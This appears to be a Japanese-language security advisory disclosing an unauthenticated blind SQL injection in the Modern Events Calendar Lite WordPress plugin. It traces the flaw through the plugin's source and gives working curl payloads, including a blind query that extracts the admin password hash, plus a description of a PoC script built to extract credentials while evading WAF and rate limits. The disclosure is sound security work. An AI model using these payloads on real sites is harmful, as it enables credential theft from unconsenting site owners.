
Modern Events Calendar Lite <= 7.33.0 — 未認証SQLインジェクション
mec_list_load_more の atts[include] / atts[exclude] 経由)| 詳細 | 値 |
|---|---|
| プラグイン | Modern Events Calendar Lite |
| スラッグ | modern-events-calendar-lite |
| 作者 | Webnus |
| 影響を受ける | <= 7.33.0(現在ベンダーが配布しているLite版)。バグは全 post-w.org 範囲に存在。6.5.6 および 7.33.0 で実験室確認済み、5.21.2 で静的確認済み。6.5.6 = 最後の wordpress.org ビルド(2022-05-11 クローズ時点で凍結)。7.33.0 = mec.webnus.net から配布されている現在のビルド |
| アクティブインストール数 | クローズ以降 wordpress.org のカウントは非表示。歴史的に 100,000 以上。ベンダーによって現在も積極的に配布・更新中(Lite は mec.webnus.net 経由。同じ 7.x コードベースが積極的に販売中の MEC Pro の基盤) |
| CWE | CWE-89(SQLインジェクション) |
| 脆弱性 | 認証不要のブラインドSQLインジェクション(時間ベース / ブール / エラーベース) |
| 必要な権限 | なし(wp_ajax_nopriv_* — 認証前) |
| ユーザー操作 | なし |
| CVSS v3.1 | 7.5(高) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| ステータス | 7.33.0(現在)および 6.5.6(WordPress 6.6.5、MariaDB 10.x)でエンドツーエンドの実験室検証済み |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite は、イベントリストスキン(list、grid、masonry、agenda、timeline、tile、custom)に対して、認証不要の一連の admin-ajax.php 「もっと読み込む」アクションを登録します。各ハンドラは、攻撃者が制御する atts リクエスト配列を読み取り、sanitize_deep_array() というヘルパーに渡します。このヘルパーは、デフォルトの引数で呼び出された場合、まったくサニタイズを行いません。その後、atts['include'](および atts['exclude'])の値を生のまま、post_id IN (...) というSQL断片に連結し、$wpdb->get_results() で**$wpdb->prepare() なしで**実行します。
エントリポイントが wp_ajax_nopriv_* に登録されているため、認証、アカウント、ノンス、ユーザー操作は一切不要です。 認証されていないリモート攻撃者は、wp_mec_dates に対する SELECT の WHERE 句に任意のSQLを注入し、WordPressデータベース内の任意のデータ(ユーザーパスワードハッシュ、wp_options の秘密鍵/キー、他のプラグインのデータ)を、ブラインドの時間ベース/ブール/エラーベースの手法で読み取ることができます。
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // 行 9615
{
$sanitized[$key] = $val; // <-- 生のまま通過、サニタイズなし
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... は $excludes が空でない場合にのみ到達)
}
return $sanitized;
}
ガード (is_array($excludes) and !count($excludes)) により、$excludes がデフォルトの空の配列の場合、この関数は完全なノーオペレーションになります — すべての値がそのままコピーされます。意図は明らかに「除外リストがある場合は、それらのキーをスキップする」でしたが、論理演算の結果、除外リストが指定されていない場合はすべてがスキップされます。
$excludes を指定していないapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // 行 501
sanitize_deep_array($_REQUEST['atts']) は引数1つで呼び出される → $excludes は array() にデフォルト → 上記のノーオペレーションブランチ → $atts は生の、信頼できない $_REQUEST['atts'] になります。
IN (...) 句への生の連結app/libraries/skins.php:
// 行 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// 行 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
配列要素は整数キャストもエスケープもなしで直接SQL文字列に implode() されます。(各要素に absint()/(int) を適用すれば防げたはずです。)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // `#__` をテーブルプレフィックスに置き換えるだけ
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // 行 87 — prepare() なし
// ...
}
完全に構築された文字列は、そのまま $wpdb->get_results() に渡されます。
汚染フロー(リクエスト → シンク):
$_REQUEST['atts'] (攻撃者制御、認証不要)
→ app/skins/list.php:501 sanitize_deep_array($atts) (ノーオペレーション:デフォルトの空 $excludes)
→ MEC_skin::initialize($atts) ($this->atts = 生の atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (prepare なし)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- 認証不要
nopriv 登録により、エンドポイントは認証前に到達可能になります。同じ load_more() の構造と共有の skins.php クエリビルダーは、兄弟スキンにも存在し、それぞれ独自の wp_ajax_nopriv_* アクションを持っています。そのため、同じインジェクションは以下のいずれからも到達可能です。
AJAX アクション (nopriv) | スキンハンドラ |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
load_more() ではノンスはチェックされておらず、アクションはページ上にプラグインのショートコードが存在する必要はありません。AJAX ハンドラは init 時に無条件に登録されます。
すべてのリクエストは認証不要(クッキー、ノンスなし)です。注入された値は atts[include][] に配置されます。ペイロードは IN ((...) AND (... IN ( グループの2つの開き括弧を閉じ、トップレベルの OR <sleep> を追加して、条件がスキャンされたすべての行で評価されるようにし、末尾の )) ORDER BY ... をコメントアウトします。
TARGET='https://victim.example' # プレーンなパーマリンク: admin-ajax.php を直接使用
# 1) ベースライン(注入なし)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) 時間ベースの証明 — バランスのとれたトップレベル OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) が実行された
# 3) ブールオラクル(true と false)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) 実際のデータ抽出(ブラインド)、例:管理者パスワードハッシュの最初のバイト == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: 管理者ハッシュは '$' で始まる(phpass)
エラーカナリア atts[include][]=0)MEC_SQLI_CANARY に対して実行された正確なクエリ(WP_DEBUG_LOG から取得)は次のとおりでした:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— リテラルトークン MEC_SQLI_CANARY が実行されたステートメントにそのまま出現しており、生の連結が確認されました。atts[exclude][] パラメータ(skins.php:803 / 603、NOT IN)も同様に注入可能です(実験室確認済み: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s)。同一のクエリと注入が7.33.0(現在のビルド)でも再現されました — 同じカナリア、同じ SLEEP 動作。
mec-unauth-sqli-poc.py(付属)は完全に自己完結型で、認証情報は不要です。インジェクションを確認し(ベースライン vs. SLEEP)、その後、時間ベースのブラインド抽出で任意のデータを抽出します(デフォルト: @@version、DBユーザー、最初の管理者の user_login:user_pass)。各応答を検証し(HTTP 200)、--delay + バックオフを使用して WAF/レート制限(例: mod_evasive)を回避します。データは変更されません(読み取り専用の SELECT コンテキスト)。